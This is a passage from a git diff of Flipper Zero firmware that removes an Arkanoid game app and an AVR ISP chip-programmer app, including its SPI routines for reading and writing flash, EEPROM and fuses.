st->brick_state.bottomBrick = 6 * row + 7; - - //If A collison has occured - if(st->ball_state.topBall <= st->brick_state.bottomBrick && - st->ball_state.bottomBall >= st->brick_state.topBrick && - st->ball_state.leftBall <= st->brick_state.rightBrick && - st->ball_state.rightBall >= st->brick_state.leftBrick) { - st->score += st->level; - // Blink led when we hit some brick - notification_message(st->notify, &sequence_short_sound); - //notification_message(st->notify, &sequence_blink_white_100); - - st->brickCount++; - st->brick_state.isHit[row][column] = true; - canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); - - //Vertical collision - if(st->ball_state.bottomBall > st->brick_state.bottomBrick || - st->ball_state.topBall < st->brick_state.topBrick) { - //Only bounce once each ball move - if(!st->bounced) { - st->ball_state.dy = -st->ball_state.dy; - st->ball_state.yb += st->ball_state.dy; - st->bounced = true; - } - } - - //Hoizontal collision - if(st->ball_state.leftBall < st->brick_state.leftBrick || - st->ball_state.rightBall > st->brick_state.rightBrick) { - //Only bounce once brick each ball move - if(!st->bounced) { - st->ball_state.dx = -st->ball_state.dx; - st->ball_state.xb += st->ball_state.dx; - st->bounced = true; - } - } - } - } - } - } - - //Reset Bounce - st->bounced = false; - } else { - //Ball follows paddle - st->ball_state.xb = st->xPaddle + 5; - } -} - -void draw_lives(Canvas* canvas, ArkanoidState* arkanoid_state) { - if(arkanoid_state->lives == 3) { - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8); - - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11); - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12); - - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 15); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 15); - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 16); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 16); - } else if(arkanoid_state->lives == 2) { - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8); - - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 11); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 11); - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 12); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 12); - } else { - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); - canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); - canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 8); - } -} - -void draw_score(Canvas* canvas, ArkanoidState* arkanoid_state) { - snprintf(arkanoid_state->text, sizeof(arkanoid_state->text), "%u", arkanoid_state->score); - canvas_draw_str_aligned( - canvas, - FLIPPER_LCD_WIDTH - 2, - FLIPPER_LCD_HEIGHT - 6, - AlignRight, - AlignBottom, - arkanoid_state->text); -} - -void draw_ball(Canvas* canvas, ArkanoidState* ast) { - canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb); - canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb); - canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb + 1); - canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb + 1); - - move_ball(canvas, ast); -} - -void draw_paddle(Canvas* canvas, ArkanoidState* arkanoid_state) { - canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); -} - -void reset_level(Canvas* canvas, ArkanoidState* arkanoid_state) { - //Undraw paddle - canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); - - //Undraw ball - canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb); - canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb); - canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb + 1); - canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb + 1); - - //Alter various variables to reset the game - arkanoid_state->xPaddle = 54; - arkanoid_state->ball_state.yb = 60; - arkanoid_state->brickCount = 0; - arkanoid_state->ball_state.released = false; - arkanoid_state->gameStarted = false; - - // Reset all brick hit states - for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) { - for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) { - arkanoid_state->brick_state.isHit[row][column] = false; - } - } -} - -static void arkanoid_state_init(ArkanoidState* arkanoid_state) { - // Init notification - arkanoid_state->notify = furi_record_open(RECORD_NOTIFICATION); - - // Set the initial game state - arkanoid_state->COLUMNS = 13; - arkanoid_state->ROWS = 4; - arkanoid_state->ball_state.dx = -1; - arkanoid_state->ball_state.dy = -1; - arkanoid_state->speed = 2; - arkanoid_state->bounced = false; - arkanoid_state->lives = 3; - arkanoid_state->level = 1; - arkanoid_state->score = 0; - arkanoid_state->COLUMNS = 13; - arkanoid_state->COLUMNS = 13; - - // Reset initial state - arkanoid_state->initialDraw = false; - arkanoid_state->gameStarted = false; -} - -static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - ArkanoidState* arkanoid_state = ctx; - furi_mutex_acquire(arkanoid_state->mutex, FuriWaitForever); - - //Initial level draw - if(!arkanoid_state->initialDraw) { - arkanoid_state->initialDraw = true; - - // Set default font for text - canvas_set_font(canvas, FontSecondary); - - //Draws the new level - reset_level(canvas, arkanoid_state); - } - - //Draws new bricks and resets their values - for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) { - for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) { - if(!arkanoid_state->brick_state.isHit[row][column]) { - canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); - } - } - } - - if(arkanoid_state->lives > 0) { - draw_paddle(canvas, arkanoid_state); - draw_ball(canvas, arkanoid_state); - draw_score(canvas, arkanoid_state); - draw_lives(canvas, arkanoid_state); - - if(arkanoid_state->brickCount == arkanoid_state->ROWS * arkanoid_state->COLUMNS) { - arkanoid_state->level++; - reset_level(canvas, arkanoid_state); - } - } else { - reset_level(canvas, arkanoid_state); - arkanoid_state->initialDraw = false; - arkanoid_state->lives = 3; - arkanoid_state->score = 0; - } - - furi_mutex_release(arkanoid_state->mutex); -} - -static void arkanoid_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void arkanoid_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t arkanoid_game_app(void* p) { - UNUSED(p); - int32_t return_code = 0; - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - - ArkanoidState* arkanoid_state = malloc(sizeof(ArkanoidState)); - arkanoid_state_init(arkanoid_state); - - arkanoid_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!arkanoid_state->mutex) { - FURI_LOG_E(TAG, "Cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, arkanoid_draw_callback, arkanoid_state); - view_port_input_callback_set(view_port, arkanoid_input_callback, event_queue); - - FuriTimer* timer = - furi_timer_alloc(arkanoid_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 22); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - GameEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(arkanoid_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // Key events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress || event.input.type == InputTypeLong || - event.input.type == InputTypeRepeat) { - switch(event.input.key) { - case InputKeyBack: - processing = false; - break; - case InputKeyRight: - if(arkanoid_state->xPaddle < FLIPPER_LCD_WIDTH - 12) { - arkanoid_state->xPaddle += 8; - } - break; - case InputKeyLeft: - if(arkanoid_state->xPaddle > 0) { - arkanoid_state->xPaddle -= 8; - } - break; - case InputKeyUp: - if(arkanoid_state->speed < MAX_SPEED) { - arkanoid_state->speed++; - } - break; - case InputKeyDown: - if(arkanoid_state->speed > 1) { - arkanoid_state->speed--; - } - break; - case InputKeyOk: - if(arkanoid_state->gameStarted == false) { - //Release ball if FIRE pressed - arkanoid_state->ball_state.released = true; - - //Apply random direction to ball on release - if(rand_range(0, 2) == 0) { - arkanoid_state->ball_state.dx = 1; - } else { - arkanoid_state->ball_state.dx = -1; - } - - //Makes sure the ball heads upwards - arkanoid_state->ball_state.dy = -1; - //start the game flag - arkanoid_state->gameStarted = true; - } - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(arkanoid_state->mutex); - } - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - view_port_free(view_port); - furi_mutex_free(arkanoid_state->mutex); - -free_and_exit: - free(arkanoid_state); - furi_message_queue_free(event_queue); - - return return_code; -} diff --git a/applications/external/avr_isp_programmer/application.fam b/applications/external/avr_isp_programmer/application.fam deleted file mode 100644 index 19556d03d..000000000 --- a/applications/external/avr_isp_programmer/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="avr_isp", - name="AVR Flasher", - apptype=FlipperAppType.EXTERNAL, - entry_point="avr_isp_app", - requires=["gui"], - stack_size=4 * 1024, - order=20, - fap_icon="avr_app_icon_10x10.png", - fap_category="GPIO", - fap_icon_assets="images", - fap_private_libs=[ - Lib( - name="driver", - ), - ], -) diff --git a/applications/external/avr_isp_programmer/avr_app_icon_10x10.png b/applications/external/avr_isp_programmer/avr_app_icon_10x10.png deleted file mode 100644 index 533787fe3..000000000 Binary files a/applications/external/avr_isp_programmer/avr_app_icon_10x10.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/avr_isp_app.c b/applications/external/avr_isp_programmer/avr_isp_app.c deleted file mode 100644 index 740dc3610..000000000 --- a/applications/external/avr_isp_programmer/avr_isp_app.c +++ /dev/null @@ -1,179 +0,0 @@ -#include "avr_isp_app_i.h" - -static bool avr_isp_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - AvrIspApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool avr_isp_app_back_event_callback(void* context) { - furi_assert(context); - AvrIspApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void avr_isp_app_tick_event_callback(void* context) { - furi_assert(context); - AvrIspApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -AvrIspApp* avr_isp_app_alloc() { - AvrIspApp* app = malloc(sizeof(AvrIspApp)); - - app->file_path = furi_string_alloc(); - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - app->error = AvrIspErrorNoError; - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&avr_isp_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, avr_isp_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, avr_isp_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, avr_isp_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // SubMenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, AvrIspViewSubmenu, submenu_get_view(app->submenu)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view(app->view_dispatcher, AvrIspViewWidget, widget_get_view(app->widget)); - - // Text Input - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, AvrIspViewTextInput, text_input_get_view(app->text_input)); - - // Popup - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, AvrIspViewPopup, popup_get_view(app->popup)); - - //Dialog - app->dialogs = furi_record_open(RECORD_DIALOGS); - - // Programmer view - app->avr_isp_programmer_view = avr_isp_programmer_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewProgrammer, - avr_isp_programmer_view_get_view(app->avr_isp_programmer_view)); - - // Reader view - app->avr_isp_reader_view = avr_isp_reader_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewReader, - avr_isp_reader_view_get_view(app->avr_isp_reader_view)); - - // Writer view - app->avr_isp_writer_view = avr_isp_writer_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewWriter, - avr_isp_writer_view_get_view(app->avr_isp_writer_view)); - - // Chip detect view - app->avr_isp_chip_detect_view = avr_isp_chip_detect_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewChipDetect, - avr_isp_chip_detect_view_get_view(app->avr_isp_chip_detect_view)); - - // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - - scene_manager_next_scene(app->scene_manager, AvrIspSceneStart); - - return app; -} //-V773 - -void avr_isp_app_free(AvrIspApp* app) { - furi_assert(app); - - // Disable 5v power - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - // Submenu - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewSubmenu); - submenu_free(app->submenu); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewWidget); - widget_free(app->widget); - - // TextInput - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewTextInput); - text_input_free(app->text_input); - - // Popup - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewPopup); - popup_free(app->popup); - - //Dialog - furi_record_close(RECORD_DIALOGS); - - // Programmer view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewProgrammer); - avr_isp_programmer_view_free(app->avr_isp_programmer_view); - - // Reader view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewReader); - avr_isp_reader_view_free(app->avr_isp_reader_view); - - // Writer view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewWriter); - avr_isp_writer_view_free(app->avr_isp_writer_view); - - // Chip detect view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewChipDetect); - avr_isp_chip_detect_view_free(app->avr_isp_chip_detect_view); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - // Close records - furi_record_close(RECORD_GUI); - - // Path strings - furi_string_free(app->file_path); - - free(app); -} - -int32_t avr_isp_app(void* p) { - UNUSED(p); - AvrIspApp* avr_isp_app = avr_isp_app_alloc(); - - view_dispatcher_run(avr_isp_app->view_dispatcher); - - avr_isp_app_free(avr_isp_app); - - return 0; -} diff --git a/applications/external/avr_isp_programmer/avr_isp_app_i.c b/applications/external/avr_isp_programmer/avr_isp_app_i.c deleted file mode 100644 index 7a7fa6d7f..000000000 --- a/applications/external/avr_isp_programmer/avr_isp_app_i.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "avr_isp_app_i.h" -#include -#include - -#define TAG "AvrIsp" - -bool avr_isp_load_from_file(AvrIspApp* app) { - furi_assert(app); - - FuriString* file_path = furi_string_alloc(); - FuriString* file_name = furi_string_alloc(); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, AVR_ISP_APP_EXTENSION, &I_avr_app_icon_10x10); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - - // Input events and views are managed by file_select - bool res = dialog_file_browser_show(app->dialogs, file_path, app->file_path, &browser_options); - - if(res) { - path_extract_dirname(furi_string_get_cstr(file_path), app->file_path); - path_extract_filename(file_path, file_name, true); - strncpy(app->file_name_tmp, furi_string_get_cstr(file_name), AVR_ISP_MAX_LEN_NAME); - } - - furi_string_free(file_name); - furi_string_free(file_path); - - return res; -} diff --git a/applications/external/avr_isp_programmer/avr_isp_app_i.h b/applications/external/avr_isp_programmer/avr_isp_app_i.h deleted file mode 100644 index 17c69f8f2..000000000 --- a/applications/external/avr_isp_programmer/avr_isp_app_i.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once - -#include "helpers/avr_isp_types.h" -#include - -#include "scenes/avr_isp_scene.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "views/avr_isp_view_programmer.h" -#include "views/avr_isp_view_reader.h" -#include "views/avr_isp_view_writer.h" -#include "views/avr_isp_view_chip_detect.h" - -#define AVR_ISP_MAX_LEN_NAME 64 - -typedef struct { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notifications; - DialogsApp* dialogs; - Popup* popup; - Submenu* submenu; - Widget* widget; - TextInput* text_input; - FuriString* file_path; - char file_name_tmp[AVR_ISP_MAX_LEN_NAME]; - AvrIspProgrammerView* avr_isp_programmer_view; - AvrIspReaderView* avr_isp_reader_view; - AvrIspWriterView* avr_isp_writer_view; - AvrIspChipDetectView* avr_isp_chip_detect_view; - AvrIspError error; -} AvrIspApp; - -bool avr_isp_load_from_file(AvrIspApp* app); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp.c b/applications/external/avr_isp_programmer/helpers/avr_isp.c deleted file mode 100644 index 283c17bfd..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp.c +++ /dev/null @@ -1,496 +0,0 @@ -#include "avr_isp.h" -#include "../lib/driver/avr_isp_prog_cmd.h" -#include "../lib/driver/avr_isp_spi_sw.h" - -#include - -#define AVR_ISP_PROG_TX_RX_BUF_SIZE 320 -#define TAG "AvrIsp" - -struct AvrIsp { - AvrIspSpiSw* spi; - bool pmode; - AvrIspCallback callback; - void* context; -}; - -AvrIsp* avr_isp_alloc(void) { - AvrIsp* instance = malloc(sizeof(AvrIsp)); - return instance; -} - -void avr_isp_free(AvrIsp* instance) { - furi_assert(instance); - - if(instance->spi) avr_isp_end_pmode(instance); - free(instance); -} - -void avr_isp_set_tx_callback(AvrIsp* instance, AvrIspCallback callback, void* context) { - furi_assert(instance); - furi_assert(context); - - instance->callback = callback; - instance->context = context; -} - -uint8_t avr_isp_spi_transaction( - AvrIsp* instance, - uint8_t cmd, - uint8_t addr_hi, - uint8_t addr_lo, - uint8_t data) { - furi_assert(instance); - - avr_isp_spi_sw_txrx(instance->spi, cmd); - avr_isp_spi_sw_txrx(instance->spi, addr_hi); - avr_isp_spi_sw_txrx(instance->spi, addr_lo); - return avr_isp_spi_sw_txrx(instance->spi, data); -} - -static bool avr_isp_set_pmode(AvrIsp* instance, uint8_t a, uint8_t b, uint8_t c, uint8_t d) { - furi_assert(instance); - - uint8_t res = 0; - avr_isp_spi_sw_txrx(instance->spi, a); - avr_isp_spi_sw_txrx(instance->spi, b); - res = avr_isp_spi_sw_txrx(instance->spi, c); - avr_isp_spi_sw_txrx(instance->spi, d); - return res == 0x53; -} - -void avr_isp_end_pmode(AvrIsp* instance) { - furi_assert(instance); - - if(instance->pmode) { - avr_isp_spi_sw_res_set(instance->spi, true); - // We're about to take the target out of reset - // so configure SPI pins as input - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - instance->pmode = false; -} - -static bool avr_isp_start_pmode(AvrIsp* instance, AvrIspSpiSwSpeed spi_speed) { - furi_assert(instance); - - // Reset target before driving PIN_SCK or PIN_MOSI - - // SPI.begin() will configure SS as output, - // so SPI master mode is selected. - // We have defined RESET as pin 10, - // which for many arduino's is not the SS pin. - // So we have to configure RESET as output here, - // (reset_target() first sets the correct level) - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = avr_isp_spi_sw_init(spi_speed); - - avr_isp_spi_sw_res_set(instance->spi, false); - // See avr datasheets, chapter "SERIAL_PRG Programming Algorithm": - - // Pulse RESET after PIN_SCK is low: - avr_isp_spi_sw_sck_set(instance->spi, false); - - // discharge PIN_SCK, value arbitrally chosen - furi_delay_ms(20); - avr_isp_spi_sw_res_set(instance->spi, true); - - // Pulse must be minimum 2 target CPU speed cycles - // so 100 usec is ok for CPU speeds above 20KHz - furi_delay_ms(1); - - avr_isp_spi_sw_res_set(instance->spi, false); - - // Send the enable programming command: - // datasheet: must be > 20 msec - furi_delay_ms(50); - if(avr_isp_set_pmode(instance, AVR_ISP_SET_PMODE)) { - instance->pmode = true; - return true; - } - return false; -} - -bool avr_isp_auto_set_spi_speed_start_pmode(AvrIsp* instance) { - furi_assert(instance); - - AvrIspSpiSwSpeed spi_speed[] = { - AvrIspSpiSwSpeed1Mhz, - AvrIspSpiSwSpeed400Khz, - AvrIspSpiSwSpeed250Khz, - AvrIspSpiSwSpeed125Khz, - AvrIspSpiSwSpeed60Khz, - AvrIspSpiSwSpeed40Khz, - AvrIspSpiSwSpeed20Khz, - AvrIspSpiSwSpeed10Khz, - AvrIspSpiSwSpeed5Khz, - AvrIspSpiSwSpeed1Khz, - }; - for(uint8_t i = 0; i < COUNT_OF(spi_speed); i++) { - if(avr_isp_start_pmode(instance, spi_speed[i])) { - AvrIspSignature sig = avr_isp_read_signature(instance); - AvrIspSignature sig_examination = avr_isp_read_signature(instance); //-V656 - uint8_t y = 0; - while(y < 8) { - if(memcmp((uint8_t*)&sig, (uint8_t*)&sig_examination, sizeof(AvrIspSignature)) != - 0) - break; - sig_examination = avr_isp_read_signature(instance); - y++; - } - if(y == 8) { - if(spi_speed[i] > AvrIspSpiSwSpeed1Mhz) { - if(i < (COUNT_OF(spi_speed) - 1)) { - avr_isp_end_pmode(instance); - i++; - return avr_isp_start_pmode(instance, spi_speed[i]); - } - } - return true; - } - } - } - - if(instance->spi) { - avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - return false; -} - -static void avr_isp_commit(AvrIsp* instance, uint16_t addr, uint8_t data) { - furi_assert(instance); - - avr_isp_spi_transaction(instance, AVR_ISP_COMMIT(addr)); - /* polling flash */ - if(data == 0xFF) { - furi_delay_ms(5); - } else { - /* polling flash */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(addr)) != 0xFF) { - break; - }; - } - } -} - -static uint16_t avr_isp_current_page(AvrIsp* instance, uint32_t addr, uint16_t page_size) { - furi_assert(instance); - - uint16_t page = 0; - switch(page_size) { - case 32: - page = addr & 0xFFFFFFF0; - break; - case 64: - page = addr & 0xFFFFFFE0; - break; - case 128: - page = addr & 0xFFFFFFC0; - break; - case 256: - page = addr & 0xFFFFFF80; - break; - - default: - page = addr; - break; - } - - return page; -} - -static bool avr_isp_flash_write_pages( - AvrIsp* instance, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - size_t x = 0; - uint16_t page = avr_isp_current_page(instance, addr, page_size); - - while(x < data_size) { - if(page != avr_isp_current_page(instance, addr, page_size)) { - avr_isp_commit(instance, page, data[x - 1]); - page = avr_isp_current_page(instance, addr, page_size); - } - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FLASH_LO(addr, data[x++])); - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FLASH_HI(addr, data[x++])); - addr++; - } - avr_isp_commit(instance, page, data[x - 1]); - return true; -} - -bool avr_isp_erase_chip(AvrIsp* instance) { - furi_assert(instance); - - bool ret = false; - if(!instance->pmode) avr_isp_auto_set_spi_speed_start_pmode(instance); - if(instance->pmode) { - avr_isp_spi_transaction(instance, AVR_ISP_ERASE_CHIP); - furi_delay_ms(100); - avr_isp_end_pmode(instance); - ret = true; - } - return ret; -} - -static bool - avr_isp_eeprom_write(AvrIsp* instance, uint16_t addr, uint8_t* data, uint32_t data_size) { - furi_assert(instance); - - for(uint16_t i = 0; i < data_size; i++) { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_EEPROM(addr, data[i])); - furi_delay_ms(10); - addr++; - } - return true; -} - -bool avr_isp_write_page( - AvrIsp* instance, - uint32_t mem_type, - uint32_t mem_size, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - bool ret = false; - switch(mem_type) { - case STK_SET_FLASH_TYPE: - if((addr + data_size / 2) <= mem_size) { - ret = avr_isp_flash_write_pages(instance, addr, page_size, data, data_size); - } - break; - - case STK_SET_EEPROM_TYPE: - if((addr + data_size) <= mem_size) { - ret = avr_isp_eeprom_write(instance, addr, data, data_size); - } - break; - - default: - furi_crash(TAG " Incorrect mem type."); - break; - } - - return ret; -} - -static bool avr_isp_flash_read_page( - AvrIsp* instance, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - if(page_size > data_size) return false; - for(uint16_t i = 0; i < page_size; i += 2) { - data[i] = avr_isp_spi_transaction(instance, AVR_ISP_READ_FLASH_LO(addr)); - data[i + 1] = avr_isp_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(addr)); - addr++; - } - return true; -} - -static bool avr_isp_eeprom_read_page( - AvrIsp* instance, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - if(page_size > data_size) return false; - for(uint16_t i = 0; i < page_size; i++) { - data[i] = avr_isp_spi_transaction(instance, AVR_ISP_READ_EEPROM(addr)); - addr++; - } - return true; -} - -bool avr_isp_read_page( - AvrIsp* instance, - uint32_t mem_type, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - bool res = false; - if(mem_type == STK_SET_FLASH_TYPE) - res = avr_isp_flash_read_page(instance, addr, page_size, data, data_size); - if(mem_type == STK_SET_EEPROM_TYPE) - res = avr_isp_eeprom_read_page(instance, addr, page_size, data, data_size); - - return res; -} - -AvrIspSignature avr_isp_read_signature(AvrIsp* instance) { - furi_assert(instance); - - AvrIspSignature signature; - signature.vendor = avr_isp_spi_transaction(instance, AVR_ISP_READ_VENDOR); - signature.part_family = avr_isp_spi_transaction(instance, AVR_ISP_READ_PART_FAMILY); - signature.part_number = avr_isp_spi_transaction(instance, AVR_ISP_READ_PART_NUMBER); - return signature; -} - -uint8_t avr_isp_read_lock_byte(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_LOCK_BYTE); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_LOCK_BYTE) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_lock_byte(AvrIsp* instance, uint8_t lock) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_lock_byte(instance) == lock) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_LOCK_BYTE(lock)); - /* polling lock byte */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_LOCK_BYTE) == lock) { - ret = true; - break; - }; - } - } - return ret; -} - -uint8_t avr_isp_read_fuse_low(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_LOW); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_LOW) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_fuse_low(AvrIsp* instance, uint8_t lfuse) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_fuse_low(instance) == lfuse) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FUSE_LOW(lfuse)); - /* polling fuse */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_LOW) == lfuse) { - ret = true; - break; - }; - } - } - return ret; -} - -uint8_t avr_isp_read_fuse_high(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_HIGH); - if(avr_isp_spi_transaction(instance, 